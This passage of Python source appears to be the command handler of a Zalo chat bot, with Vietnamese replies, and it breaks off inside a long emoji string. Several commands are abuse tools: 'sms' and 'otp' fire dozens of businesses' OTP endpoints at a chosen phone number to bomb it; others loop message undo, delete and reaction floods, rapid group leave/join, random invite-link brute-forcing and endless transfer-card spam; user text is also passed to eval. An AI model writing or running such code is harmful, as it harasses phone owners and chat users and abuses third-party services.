				compiled_code = compile(truongbigayy.replace("-str", "").strip(), '<string>', 'exec')
				eval(compiled_code)
				return
			if "\\" in truongbigayy:
				arr = truongbigayy.split('\\')
				for item in arr:
					code = f"""
try:
	self.replyMessage(Message(text=str({item})), message_object, thread_id, thread_type)
except Exception as e:
	self.replyMessage(Message(text=str(e)), message_object, thread_id, thread_type)
	traceback.print_exc()
"""
					compiled_code = compile(code, '<string>', 'exec')
					eval(compiled_code)
					return
			else:
				try:
					code = f"""
try:
	self.replyMessage(Message(text=str({truongbigayy})), message_object, thread_id, thread_type)
except Exception as e:
	self.replyMessage(Message(text=str(e)), message_object, thread_id, thread_type)
	traceback.print_exc()
"""
					compiled_code = compile(code, '<string>', 'exec')
					eval(compiled_code)
					return
				except Exception as e:
					self.replyMessage(Message(text=str(e)), message_object, thread_id, thread_type)
					traceback.print_exc()

		elif message.startswith(self.prefix + f"pin"):
			truongbigay = message.replace(self.prefix + f"pin", "").strip()
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			self.sendReaction(message_object, reactionIcon='/-strong', thread_id=thread_id, thread_type=thread_type)
			imag = self.get_all_high_quality_images(query=truongbigay, max_pages=5)
			# print(imag)
			if imag:
				self.sendMultiImage(imagelinks=imag, thread_id=thread_id, thread_type=thread_type, ttl=600000)
				self.replyMessage(Message(text=f"• Dưới đây là ảnh pin theo nội dung '{truongbigay}' của bạn", style=style_error), message_object, thread_id, thread_type, ttl=600000)
			else:
				self.replyMessage(Message(text=f"• Không Tìm Thấy Kết Quả Cho Nội Dung '{truongbigay}'", style=style_error), message_object, thread_id, thread_type, ttl=600000)

		elif message.startswith(self.prefix + f"@"):
			noquyen = "Bạn Không Có Quyền Để Thực Hiện Điều Này!"
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			if author_id not in self.selfid:
				self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type)
				return
			truongbigayy = message.replace(self.prefix + f"@", "").strip()
			start_color = (0, 255, 255)
			end_color = (255, 0, 255)
			styles = []
			length = len(truongbigayy)
			for i, char in enumerate(truongbigayy):
				r = int(start_color[0] + (end_color[0] - start_color[0]) * i / (length - 1))
				g = int(start_color[1] + (end_color[1] - start_color[1]) * i / (length - 1))
				b = int(start_color[2] + (end_color[2] - start_color[2]) * i / (length - 1))
				color = f'{r:02x}{g:02x}{b:02x}'
				# print(color)
				styles.append(MessageStyle(offset=i, length=1, style="color", color=color, auto_format=False))

			styles.append(MessageStyle(offset=0, length=length, style="bold", auto_format=False))
			style = MultiMsgStyle(styles)
			self.replyMessage(Message(text=truongbigayy, style=style), message_object, thread_id=thread_id, thread_type=thread_type)
		elif message.startswith(self.prefix + "muteall"):
			noquyen = "Bạn Không Có Quyền Để Thực Hiện Điều Này!"
			style_error = MultiMsgStyle([
				MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False),
				MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False),
				MessageStyle(offset=0, length=3000, style="bold", auto_format=False)
			])
			if author_id not in self.selfid:
				self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type)
				return
			if thread_id not in self.muteall:
				lon = self.replyMessage(Message(text="Đã Mute Tất Cả Người Dùng Trong Nhóm Này", style=style_error), message_object, thread_id, thread_type).msgId
				self.muteall[thread_id] = lon
			else:
				del self.muteall[thread_id]
				self.replyMessage(Message(text="Đã UnMute Tất Cả Người Dùng Trong Nhóm Này", style=style_error), message_object, thread_id, thread_type).msgId

		elif message.startswith(self.prefix + "mute"):
			cc = message_object.mentions[0]['uid']
			noquyen = "Bạn Không Có Quyền Để Thực Hiện Điều Này!"
			style_error = MultiMsgStyle([
				MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False),
				MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False),
				MessageStyle(offset=0, length=3000, style="bold", auto_format=False)
			])
			if author_id not in self.selfid:
				self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type)
				return
			try:
				# Kiểm tra xem danh sách mute đã tồn tại chưa, nếu chưa thì tạo một danh sách trống
				if cc not in self.mute:
					mention = Mention(cc, length=7, offset=8)
					text = f"Đã Thêm @member Vào Danh Sách Mute"
					bot_msg_id = self.replyMessage(Message(text=text, style=style_error, mention=mention), message_object, thread_id, thread_type).msgId
					# Lưu tuple (uid, msgId)
					self.mute.append(cc)
				else:
					mention = Mention(cc, length=7, offset=0)
					text = "@member Đã Có Trong Danh Sách Mute"
					self.replyMessage(Message(text=text, style=style_error, mention=mention), message_object, thread_id, thread_type)
			except Exception as e:
				print(f"Error: {e}")
		elif message == self.prefix + "mute":
			self.replyMessage(
				Message(
					text=f"Tin Nhắn Sai Cú Pháp! Vui Lòng Thử: {self.prefix}mute @mention",
					style=style_error
				),
				message_object, thread_id, thread_type
			)
			return
		elif message.startswith(self.prefix + "test"):
			if author_id not in self.selfid:
				return
			# rangeMention = int(message.replace(self.prefix + "test", "").strip())
			# mentions = []
			# for i in range(rangeMention):
				# mentions.append(Mention(author_id, offset=0, length=4, auto_format=False))
				
			# mention = MultiMention(mentions)
			# self.send(Message(text="abc", mention=mention), thread_id, thread_type=ThreadType.GROUP, ttl=60000)
			while True:
				self.changeGroupSetting(groupId=thread_id, defaultMode="default", signAdminMsg=0)
				# time.sleep(0.2)
				self.changeGroupSetting(groupId=thread_id, defaultMode="default", signAdminMsg=1)
		elif message.startswith(self.prefix + "rmute"):
			cc = message_object.mentions[0]['uid']
			noquyen = "Bạn Không Có Quyền Để Thực Hiện Điều Này!"
			style_error = MultiMsgStyle([
				MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False),
				MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False),
				MessageStyle(offset=0, length=3000, style="bold", auto_format=False)
			])
			if author_id not in self.selfid:
				self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type)
				return
			if message.strip() == self.prefix + "rmute":
				self.replyMessage(
					Message(
						text=f"Tin Nhắn Sai Cú Pháp! Vui Lòng Thử: {self.prefix}rmute @mention",
						style=style_error
					),
					message_object, thread_id, thread_type
				)
				return
			
			if cc in self.mute:
				self.mute.remove(cc)
				mention = Mention(cc, length=7, offset=7)
				text = f"Đã Xóa @member Khỏi Danh Sách Mute"
				self.replyMessage(Message(text=text, style=style_error, mention=mention), message_object, thread_id, thread_type)
			else:
				mention = Mention(cc, length=7, offset=0)
				text = "@member Không Có Trong Danh Sách Mute"
				self.replyMessage(Message(text=text, style=style_error, mention=mention), message_object, thread_id, thread_type)

		elif message.startswith(self.prefix + f"tt"):
			name = message.replace(self.prefix + f"tt", "").strip()
			url = f'https://scaninfo.vn/api/down/tiktok.php?url={name}'
			response = self._session.get(url)
			json_text = response.text
			data = json.loads(json_text)
			music = data["data"]["music"]
			play = data["data"]["play"]
			title = data["data"]["title"]
			noidung = f'Tiêu đề video: {title}\nUrl video: {play}\nUrl music: {music}'
			self.replyMessage(Message(text=noidung), message_object, thread_id, thread_type)
		#elif any(x in message.lower() for x in ["https://pornhub.com/", "https://ihentai.bio/", "https://vi.xhamster.com/", "https://zalo.me/", "https://vn2.xvideos69.xxx/", "sex", "ihentai.cam", "https://www.sex.com/", "gay", "chó", " ff", "fefe", "regedit", "reg", "rung tâm", "rain", "trời mưa", "đồ chs", "aimlock", "hentai", "@all", "😏", "🖕"]) and thread_id != "6944611442960756643":
			#try:
				#self.deleteGroupMsg(msgId=message_object.msgId, clientMsgId=m3essage_object.cliMsgId, ownerId=author_id, groupId=thread_id)
			#except Exception as e:
				#print(f"Error: {e}")
		elif message.startswith(self.prefix + "prom"):
			prompt = message.replace(self.prefix + "prom", "").strip()
			content = enhancementPrompt(prompt)
			self.replyMessage(Message(text=content), message_object, thread_id, thread_type)
		elif message.startswith(self.prefix + "sus"):
			if author_id not in self.selfid:
				return
			link = message.replace(self.prefix + "sus", "").strip()
			if link != '':
				grId = self.fetchLinkBox(link).groupId
			else:
				grId = thread_id

			def sksjjdjdh():
				while True:
					self.leave(thread_id=grId, thread_type=ThreadType.GROUP)
					time.sleep(0.0001)

			def fkdjfidj():
				while True:
					self.joinbox(str(link))
					time.sleep(0.00001)

			self.thread_handsome.submit(sksjjdjdh)
			self.thread_handsome.submit(fkdjfidj)
		elif message.startswith(self.prefix + f"!"):
			if author_id not in self.selfid and author_id != self.uid:
				print("check admin fail")
				return
			link = message.replace(self.prefix + f"!", "").strip()
			if link != '' and not message_object.mentions:
				self.joinbox(str(link))
				grId = self.fetchLinkBox(link).groupId
				thrtype = thread_type
			elif link.startswith("@") and message_object.mentions:
				thrtype = ThreadType.USER
				grId = message_object.mentions[0]['uid']
			else:
				grId = thread_id
				thrtype = thread_type
			if author_id != self.uid:
				self.replyMessage(Message(text=self.prefix + "!"), message_object, thread_id=grId, thread_type=thrtype, ttl=50)
				return


			# suc = self.replyMessage(Message(text='.'), message_object, thread_id=grId, thread_type=thread_type)
			reaction_data = [
				{
					"gMsgID": int(message_object.msgId),
					"cMsgID": int(message_object.cliMsgId),
					"msgType": message_object.get('msgType', 31)
				}
				for _ in range(133)
			]
			self.is_spamming = True
			def sksj():
				while self.is_spamming:
					self.undoMessage(msgId=message_object.msgId, cliMsgId=message_object.cliMsgId, thread_id=grId, thread_type=thrtype)
					time.sleep(0.0001)
			def sksjh():
				while self.is_spamming:
					self.deleteMsg(msgId=message_object.msgId, clientMsgId=message_object.cliMsgId, ownerId=self.uid, thread_id=grId, thread_type=thrtype)
					time.sleep(0.0001)
			def rrowdk():
				while self.is_spamming:
					self.sendMultiReaction(reactionObj=reaction_data, reactionIcon="", thread_id=grId, thread_type=thrtype, reactionType=-1)
			self.thread_handsome.submit(sksj)
			self.thread_handsome.submit(rrowdk)
			self.thread_handsome.submit(sksjh)
		elif message == self.prefix + f"nl":
			try:
				adminData = self.db.fetch_admins(thread_id)
				if author_id not in self.selfid and author_id not in adminData:
					return
				cc = message_object.quote['cliMsgId']
				cc1 = message_object.quote['globalMsgId']
				cc2 = message_object.quote['ownerId']
				# print(message_object.quote)
				# print(cc2)
				print(cc1)
				# print(type(cc1))

				# print(cc)
				if cc1 == 0:
					cc1 = messsage_object.msgId
					ditmemay = self.deleteMsg(msgId=cc1, clientMsgId=cc, ownerId=cc2, thread_id=thread_id, thread_type=thread_type)
					if dimenay.error_code == 112:
						self.deleteGroupMsgBypassAntiUndo(msgId=cc1, clientMsgId=message_object.cliMsgId, ownerId=cc2, groupId=thread_id)

				if str(cc2) == str(self.uid):
					self.undoMessage(msgId=cc1, cliMsgId=cc, thread_id=thread_id, thread_type=thread_type)
				else:
					ditmemay = self.deleteMsg(msgId=cc1, clientMsgId=cc, ownerId=cc2, thread_id=thread_id, thread_type=thread_type)
					if ditmemay.error_code == 112:
						ccbamay = self.deleteGroupMsgBypassAntiUndo(msgId=cc1, clientMsgId=cc, ownerId=cc2, groupId=thread_id)
						if ccbamay.error_code == 112:
							ccc1 = self.replyMessage(Message(text="cc"), message_object, thread_id=thread_id, thread_type=thread_type, ttl=10).msgId
							dimenay = self.deleteMsg(msgId=ccc1, clientMsgId=cc, ownerId=cc2, thread_id=thread_id, thread_type=thread_type)
							print(dimenay)
							if dimenay.error_code == 112:
								self.deleteGroupMsgBypassAntiUndo(msgId=ccc1, clientMsgId=message_object.cliMsgId, ownerId=cc2, groupId=thread_id)


			except Exception as e:
				# self.replyMessage(Message(text=str(e)), message_object, thread_id, thread_type)
				traceback.print_exc()
		elif message.startswith(self.prefix + f"scanLink"):
			if author_id not in self.selfid:
				return
				
			def generate_linkbox(letter_len=6, digit_len=3, seed=None):
				rnd = random.Random(seed) if seed is not None else random
				letters = ''.join(rnd.choices(string.ascii_lowercase, k=letter_len))
				digits = ''.join(rnd.choices(string.digits, k=digit_len))
				return "https://zalo.me/g/" + letters + digits
			
			while True:
				link = generate_linkbox()
				data = self.joinbox(link)
				print(data)
				if data.error_code == 0:
					self.replyMessage(Message(text=link), message_object, thread_id, thread_type, ttl=0)
				elif data.error_code not in [178, 227, 240, 0]:
					self.replyMessage(Message(text=f"Error to scan link box error data {data}"), message_object, thread_id, thread_type, ttl=0)
					break
		elif message.startswith(self.prefix + f"+"):
			i = 0
			sticker = []
			while True:
				data = self.fetchSticker(str(i))
				sticker.extend(data)
				print(data)
				print(len(sticker))
				print(i)
				# self.replyMessage(Message(text=f"+{len(data)}/{len(sticker)}"), message_object, thread_id, thread_type, ttl=30000)
				i += 1
				if i == 100:
					with open("sticker.json", "w") as f:
						f.write(json.dumps(sticker, indent=4))
					break
		elif message.startswith(self.prefix + f".?"):
			try:
				if author_id not in self.selfid:
					self.replyMessage(Message(text="bạn đếu có quyền để làm điều này!"), message_object, thread_id, thread_type)
					return
				parts = message.split()
				dodai = int(parts[1])
				solan = int(parts[2])
				characters = string.ascii_letters + string.digits
				for _ in range(solan):
					random_string = ''.join(random.choice(characters) for _ in range(dodai))
					self.changeGroupName(groupName=random_string, groupId=thread_id)
			except Exception as e:
				print(f"Error: {e}")
		elif message.startswith(self.prefix + f"sms"):
			sdt = message.replace(self.prefix + "sms", "").strip()
			try:
				if sdt == "":
					self.replyMessage(Message(text=f"Thiếu Tham Số Vui Lòng Thử Lại\nVd Use: {self.prefix}sms 0900000000 3"), message_object, thread_id, thread_type)
					return

				style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False), MessageStyle(offset=0, length=3000, style="bold", auto_format=False)])

				if len(sdt) != 10 or not sdt.isdigit():
					error_message = "Số điện thoại không hợp lệ! Vui lòng kiểm tra lại."
					self.replyMessage(Message(text=error_message, style=style_error), message_object, thread_id, thread_type)
					return 

				functions = [tv360, vieon, myviettel, fptshop, befood, foodhubzl, vttelecom, vinwonders, hasaki, fahasa, medigozl, medigosms, mocha, liena, viettelpost, ghtk, vuihoc, vnsc, goldenspoonssms, bibomart, zl188, goldenspoonszl, goldenspoonszlresend, goldenspoonssmsresend, hoangphuc, trungsoncarezl, trungsoncaresms, kkfashion, thecoffeehouse, homeid, hasaki, cathayliferesend, vinschool, highlands, meeyland, ghephangzl, vinfastescooter, taskal, star_t, nhadatvui, mocha35, thuongdo, unica, monkeyjunior, babilala, edupia, vkids, mytv, ahamove, cathaylife, prepedu, bigm, atmnha, hvb, zodi, dynaminds, gicula, dalatbds, mocha2, jupviec, guvi, aio, fpt, unicar, lozido, pingpush, ting, kanow, butlsms, butlzl, ilokafood, vieclam24h, sobanhangzl, sobanhang, sfin, sapo, truedoc, upos, ghephang, hoatoc247, gotp]
				self.replyMessage(Message(text=f"• Đang Bắt Đầu Spam Sms Với Sdt: {sdt}\n• Tổng Số Api: {len(functions)}", style=style_error), message_object, thread_id, thread_type, ttl=60000)
				done = 0
				fail = 0
				for l in functions:
					cc = l(sdt)
					if cc == True:
						done += 1
					else:
						fail += 1
				try:
					sapo(sdt)
					onecredit(sdt)
					y360(sdt)
					tv360(sdt)
					winmart(sdt)
					apispam(sdt)
					vieon(sdt)
					poyeye(sdt)
					alfrescos(sdt)
					fpt(sdt)
					kiot(sdt) 
					vayvnd(sdt)
					viettel(sdt)
					tamo(sdt)
					meta(sdt)
					funring(sdt)
					dkvt(sdt)
					fptplay(sdt)
					vietid(sdt)
					phamacy(sdt)
					y360rs(sdt)
					concung(sdt)
					appota(sdt)
					pizzacompany(sdt)
					best_inc(sdt)
					shopiness(sdt)
					ghn(sdt)
					chotot(sdt)
					cashbar(sdt)
				except Exception as e:
					pass
				self.replyMessage(Message(text=f"• Đã spam thành công số điện thoại: {sdt}\n• Done: {done}\n• Fail: {fail}", style=style_error), message_object, thread_id, thread_type)
			except Exception as e:
				traceback.print_exc()
		elif message.startswith(self.prefix + f"otp"):
			parts = message.replace(self.prefix + "otp", "").strip().split()
			if len(parts) != 2:
				self.replyMessage(Message(text=f"Thiếu Tham Số Vui Lòng Thử Lại\nVd Use: {self.prefix}otp 0900000000 3"), message_object, thread_id, thread_type)
				return

			sdt = parts[0]
			solan = parts[1]
			style_error = MultiMsgStyle([
				MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False),
				MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False),
				MessageStyle(offset=0, length=3000, style="bold", auto_format=False)
			])

			if len(sdt) != 10 or not sdt.isdigit():
				error_message = "Số điện thoại không hợp lệ! Vui lòng kiểm tra lại."
				self.replyMessage(Message(text=error_message, style=style_error), message_object, thread_id, thread_type)
				return 

			if author_id not in self.selfid and not solan.isdigit() or not (0 <= int(solan) <= 50):
				self.replyMessage(Message(text="Số lần không hợp lệ, tối đa 50 lần", style=style_error), message_object, thread_id, thread_type)
				return

			success_message = f"Đã spam thành công số điện thoại: {sdt}, số lần {solan}"
			self.replyMessage(Message(text=success_message, style=style_error), message_object, thread_id, thread_type)
			functions = [tv360, vieon, myviettel, fptshop, befood, foodhubzl, vttelecom, vinwonders, hasaki, fahasa, medigozl, medigosms, mocha, liena, viettelpost, ghtk, vuihoc, vnsc, goldenspoonssms, bibomart, zl188, goldenspoonszl, goldenspoonszlresend, goldenspoonssmsresend, hoangphuc, trungsoncarezl, trungsoncaresms, kkfashion, thecoffeehouse, homeid, hasaki, cathayliferesend, vinschool, highlands, meeyland, ghephangzl, vinfastescooter, taskal, star_t, nhadatvui, mocha35, thuongdo, unica, monkeyjunior, babilala, edupia, vkids, mytv, ahamove, cathaylife, prepedu, bigm, atmnha, hvb, zodi, dynaminds, gicula, dalatbds, mocha2, jupviec, guvi, aio, fpt, unicar, lozido, pingpush, ting, kanow, butlsms, butlzl, ilokafood, vieclam24h, sobanhangzl, sobanhang, sfin, sapo, truedoc, upos, ghephang, hoatoc247, gotp]
			for i in range(int(solan)):
				for l in functions:
					l(sdt)
				try:
					sapo(sdt)
					onecredit(sdt)
					y360(sdt)
					tv360(sdt)
					winmart(sdt)
					apispam(sdt)
					vieon(sdt)
					poyeye(sdt)
					alfrescos(sdt)
					fpt(sdt)
					kiot(sdt) 
					vayvnd(sdt)
					viettel(sdt)
					tamo(sdt)
					meta(sdt)
					funring(sdt)
					dkvt(sdt)
					fptplay(sdt)
					vietid(sdt)
					phamacy(sdt)
					y360rs(sdt)
					concung(sdt)
					appota(sdt)
					pizzacompany(sdt)
					best_inc(sdt)
					shopiness(sdt)
					ghn(sdt)
					chotot(sdt)
					cashbar(sdt)
				except Exception as e:
					pass


		elif message.startswith(self.prefix + f"rs"):
			noquyen = f"Bạn không có quyền để thực hiện điều này!"
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False), MessageStyle(offset=0, length=3000, style="bold", auto_format=False), MessageStyle(offset=0, length=3000, style="bold", auto_format=False)])
			if author_id not in self.selfid:
				self.replyMessage(Message(text=str(noquyen), style=style_error), message_object, thread_id, thread_type)
				return
			noidung1 = message.replace(self.prefix + f"rs", "").strip()
			mention = Mention("-1", length=len(noidung1), offset=0)
			self.replyMessage(
				Message(
					text=noidung1, mention=mention  
				),
				message_object,
				thread_id=thread_id,
				thread_type=thread_type
			)
		elif message == self.prefix + f"lmao":
			if author_id not in self.selfid:
				self.replyMessage(Message(text="bạn không có quyền để làm điều này!"), message_object, thread_id, thread_type)
				return
			binBank = random.choice(self.dataBinBank)
			while True:
				cc = self.SendTransferCard(thread_id=thread_id, thread_type=thread_type,nameAccBank="TahnDev", numAccBank="TahnDev🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏\n🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏🙏